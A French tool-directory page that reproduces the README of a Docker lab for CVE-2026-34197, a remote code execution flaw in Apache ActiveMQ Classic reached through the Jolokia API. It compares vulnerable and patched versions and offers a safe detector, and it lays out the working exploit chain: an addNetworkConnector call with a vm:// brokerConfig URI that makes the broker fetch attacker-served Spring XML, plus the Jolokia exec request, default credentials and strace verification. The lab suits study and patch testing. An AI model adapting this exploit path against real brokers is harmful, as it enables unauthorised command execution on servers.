Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-34197-Lab — # Docker lab démontrant CVE-2026-34197, une RCE Apache ActiveMQ Classic via Jolokia. Inclut un détecteur sûr et un PoC local uniquement avec commande fixe, comparant les versions vulnérables et corrigées. | Kitploit
Outils/GitHubGitHub/rootdirective-sec/cve-2026-34197-lab
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationLabs et Pratique
GitHubrootdirective-sec/cve-2026-34197-lab

CVE-2026-34197-Lab

# Docker lab démontrant CVE-2026-34197, une RCE Apache ActiveMQ Classic via Jolokia. Inclut un détecteur sûr et un PoC local uniquement avec commande fixe, comparant les versions vulnérables et corrigées.

Voir le dépôt
4il y a 4 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-34197 — Laboratoire RCE Jolokia Apache ActiveMQ Classic

Vue d'ensemble

Ce dépôt est un laboratoire Docker local pour étudier CVE-2026-34197, un problème d'exécution de code à distance dans Apache ActiveMQ Classic accessible via l'API Jolokia JMX-HTTP.

Le laboratoire compare deux instances ActiveMQ Classic côte à côte :

ServiceVersionObjectifURL
vuln5.19.3Cible vulnérablehttp://127.0.0.1:8081
patched5.19.4Cible de comparaison corrigéehttp://127.0.0.1:8082

Le dépôt contient deux scripts de preuve :

ScriptObjectifModèle de sécurité
poc/detect.pyDétecteur autoriséHTTP uniquement ; n'exploite pas
poc/poc.pyPreuve de chemin RCE local uniquementCommande fixe uniquement : id; whoami; sleep 5

Les preuves d'exécution sont vérifiées séparément par l'opérateur à l'aide d'outils d'observation des processus tels que strace.


Résumé de la vulnérabilité

CVE-2026-34197 affecte les versions d'Apache ActiveMQ Classic où un utilisateur authentifié peut utiliser l'API Jolokia pour invoquer des opérations de gestion du broker et amener la JVM du broker à charger du Spring XML contrôlé par l'attaquant via une URI brokerConfig=xbean:http://... spécialement conçue.

Le flux vulnérable démontré dans ce laboratoire est :

root@kitploit:~
Jolokia /api/jolokia/
  -> Opération MBean du broker
  -> addNetworkConnector(java.lang.String)
  -> static:(vm://...?brokerConfig=xbean:http://...)
  -> Récupération distante du Spring XML
  -> Initialisation du bean ProcessBuilder
  -> Commande de preuve locale fixe

Le service corrigé bloque ce chemin avant la récupération du XML et renvoie une erreur similaire à :

root@kitploit:~
VM scheme is not allowed

Structure du dépôt

root@kitploit:~
.
├── docker-compose.yml
├── vuln
│   └── Dockerfile
├── patched
│   └── Dockerfile
├── poc
│   ├── detect.py
│   └── poc.py
├── images
│   └── strace.png
├── README.md
└── .gitignore

Rôles des fichiers

  • docker-compose.yml exécute les services ActiveMQ vulnérable et corrigé.
  • vuln/Dockerfile construit Apache ActiveMQ Classic 5.19.3.
  • patched/Dockerfile construit Apache ActiveMQ Classic 5.19.4.
  • poc/detect.py vérifie l'exposition Jolokia, la version d'ActiveMQ et la visibilité du MBean Broker.
  • poc/poc.py déclenche le chemin RCE local uniquement à l'aide d'une commande bénigne fixe.
  • images/strace.png contient les preuves locales d'observation des processus du service vulnérable.
  • .gitignore exclut les artefacts locaux, les fichiers de cache Python, les environnements virtuels, les journaux et les secrets.

Limites de sécurité

Ce dépôt est destiné uniquement à une utilisation en laboratoire local et à une validation de sécurité autorisée.

La preuve de concept est délibérément limitée :

  • Elle refuse les cibles non locales.
  • Elle n'accepte pas de commandes arbitraires.
  • Elle utilise uniquement la commande fixe : id; whoami; sleep 5.
  • Elle ne collecte pas la sortie des commandes via un rappel.
  • Elle repose sur une observation distincte contrôlée par l'opérateur, telle que strace.

Cibles locales autorisées pour poc.py :

root@kitploit:~
127.0.0.1
localhost
::1

N'utilisez pas ce dépôt contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de test.


Configuration du laboratoire

Construire et démarrer le laboratoire

root@kitploit:~
docker compose down -v
docker compose build
docker compose up -d

Vérifier l'état des services :

root@kitploit:~
docker compose ps

Services attendus :

root@kitploit:~
cve-2026-34197-vuln      Up / healthy
cve-2026-34197-patched   Up / healthy

Vérifier les points de terminaison de version Jolokia

Vérifier le service vulnérable :

root@kitploit:~
curl -sS \
  -u admin:admin \
  -H 'Origin: http://127.0.0.1:8081' \
  http://127.0.0.1:8081/api/jolokia/version | python3 -m json.tool

Vérifier le service corrigé :

root@kitploit:~
curl -sS \
  -u admin:admin \
  -H 'Origin: http://127.0.0.1:8082' \
  http://127.0.0.1:8082/api/jolokia/version | python3 -m json.tool

Versions attendues :

root@kitploit:~
8081 -> ActiveMQ 5.19.3
8082 -> ActiveMQ 5.19.4

Utilisation du détecteur

poc/detect.py est le script par défaut sûr. Il n'exploite pas la cible.

Il vérifie :

  1. si /api/jolokia/version est accessible ;
  2. si l'authentification est requise ;
  3. si le produit est Apache ActiveMQ ;
  4. la version d'ActiveMQ ;
  5. si le MBean Broker est visible via la recherche Jolokia ;
  6. si la version se situe dans une plage affectée.

Exécuter le détecteur contre les deux services du laboratoire

root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate
pip install requests

python poc/detect.py \
  -t http://127.0.0.1:8081 \
  -t http://127.0.0.1:8082 \
  -u admin \
  -p admin \
  -v

Résultat attendu :

root@kitploit:~
http://127.0.0.1:8081
Assessment: LIKELY_VULNERABLE
Risk: HIGH
ActiveMQ version: 5.19.3
Broker MBean: VISIBLE

http://127.0.0.1:8082
Assessment: NOT_AFFECTED_BY_VERSION
Risk: LOW
ActiveMQ version: 5.19.4
Broker MBean: VISIBLE

Qu'est-ce qui est considéré comme vulnérable par le détecteur ?

Le détecteur marque une cible comme LIKELY_VULNERABLE lorsque :

root@kitploit:~
Jolokia est accessible
+
La version d'ActiveMQ se situe dans une plage affectée

Plages affectées utilisées par ce laboratoire :

root@kitploit:~
5.x < 5.19.4
6.x < 6.2.3

La visibilité du MBean Broker est utilisée comme preuve de confiance car le chemin d'exploitation repose sur les opérations de gestion du broker.

Le détecteur ne prétend pas à CONFIRMED_RCE.


Preuve de concept du chemin RCE local uniquement

poc/poc.py démontre le chemin RCE dans le laboratoire Docker local.

Il démarre un serveur HTTP temporaire sur l'hôte et sert une charge utile Spring XML à un chemin unique par exécution :

root@kitploit:~
/evil-<nonce>.xml

Il invoque ensuite le MBean Broker ActiveMQ via Jolokia :

root@kitploit:~
addNetworkConnector(java.lang.String)

avec une URI de découverte spécialement conçue :

root@kitploit:~
static:(vm://cve34197<nonce>?brokerConfig=xbean:http://host.docker.internal:9100/evil-<nonce>.xml)

Le broker vulnérable récupère ce XML. Le broker corrigé bloque le schéma de transport vm:// avant la récupération du XML.

Comportement important

Après une exécution vulnérable, le NetworkConnector créé peut réessayer de récupérer l'ancien chemin XML. Le script utilise un nonce unique par exécution et suit matches_current_run pour éviter les faux positifs.

Un succès n'est compté pour l'exécution actuelle que s'il correspond à :

root@kitploit:~
/evil-<nonce-actuel>.xml

Exécuter la preuve de concept contre le service vulnérable

root@kitploit:~
python poc/poc.py \
  --target http://127.0.0.1:8081 \
  -u admin \
  -p admin

Sortie attendue :

root@kitploit:~
[+] Broker fetched the Spring XML payload for this run.
Matched path: /evil-<nonce>.xml
matches_current_run: true

Cela confirme qu'ActiveMQ 5.19.3 peut être amené à récupérer du Spring XML contrôlé par l'attaquant via le chemin du broker géré par Jolokia.


Exécuter la preuve de concept contre le service corrigé

root@kitploit:~
python poc/poc.py \
  --target http://127.0.0.1:8082 \
  -u admin \
  -p admin

Sortie attendue :

root@kitploit:~
VM scheme is not allowed
[-] No XML fetch observed for this run.

Si des succès d'une ancienne exécution vulnérable apparaissent, ils doivent afficher :

root@kitploit:~
"matches_current_run": false

Ceux-ci ne sont pas comptés comme un succès du service corrigé.


Confirmer l'exécution de commandes avec strace

Le script de preuve de concept ne collecte pas la sortie des commandes. Pour confirmer l'exécution de commandes, observez la création de processus à l'intérieur du conteneur vulnérable.

Entrez dans le conteneur vulnérable en tant que root :

root@kitploit:~
docker exec -it --user root cve-2026-34197-vuln bash

Trouvez le processus Java :

root@kitploit:~
pgrep -af java

Attachez strace au PID Java :

root@kitploit:~
strace -f -e execve -p <JAVA_PID>

Dans un autre terminal, exécutez la preuve de concept contre le service vulnérable :

root@kitploit:~
python poc/poc.py \
  --target http://127.0.0.1:8081 \
  -u admin \
  -p admin

Preuve strace attendue :

root@kitploit:~
execve("/bin/sh", ["/bin/sh", "-c", "id; whoami; sleep 5"], ...)
execve("/usr/bin/id", ["id"], ...)
execve("/usr/bin/whoami", ["whoami"], ...)
execve("/usr/bin/sleep", ["sleep", "5"], ...)

C'est la preuve au niveau du système d'exploitation que la commande de preuve fixe a été exécutée par la JVM du broker.

Preuve d'exécution de commande strace


Nettoyage entre les exécutions

La preuve de concept tente de supprimer le nom de NetworkConnector par défaut NC avant le déclenchement. Cela maintient les exécutions répétées du laboratoire prévisibles.

Nettoyage manuel :

root@kitploit:~
curl -sS \
  -u admin:admin \
  -H 'Origin: http://127.0.0.1:8081' \
  -H 'Content-Type: application/json' \
  -X POST \
  http://127.0.0.1:8081/api/jolokia/ \
  -d '{
    "type": "exec",
    "mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
    "operation": "removeNetworkConnector(java.lang.String)",
    "arguments": ["NC"]
  }' | python3 -m json.tool

Ou redémarrez le laboratoire :

root@kitploit:~
docker compose restart vuln patched

Résultats attendus du laboratoire

TestVulnérable 5.19.3Corrigé 5.19.4
detect.pyLIKELY_VULNERABLENOT_AFFECTED_BY_VERSION
Accès JolokiaAccessible avec authentificationAccessible avec authentification
MBean BrokerVisibleVisible
Récupération XML poc.pyOuiNon
Signature de blocage corrigéeN/AVM scheme is not allowed
Preuve de commande strace/bin/sh -c 'id; whoami; sleep 5'Non attendue

Références

  • Avis de sécurité Apache ActiveMQ — CVE-2026-34197 : https://activemq.apache.org/security-advisories.data/CVE-2026-34197-announcement.txt
  • NVD — CVE-2026-34197 : https://nvd.nist.gov/vuln/detail/CVE-2026-34197
  • Enregistrement CVE.org — CVE-2026-34197 : https://www.cve.org/CVERecord?id=CVE-2026-34197
  • Base de données d'avis GitHub — GHSA-rxpj-7qvf-xv32 : https://github.com/advisories/GHSA-rxpj-7qvf-xv32
  • Horizon3.ai — CVE-2026-34197 RCE ActiveMQ via l'API Jolokia : https://horizon3.ai/attack-research/disclosures/cve-2026-34197-activemq-rce-jolokia/
  • Documentation Apache ActiveMQ Classic — Réseaux de brokers : https://activemq.apache.org/components/classic/documentation/networks-of-brokers
  • Documentation de l'API Apache ActiveMQ Classic JMX BrokerView : https://activemq.apache.org/components/classic/documentation/maven/apidocs/org/apache/activemq/broker/jmx/BrokerView.html
Télécharger l’outil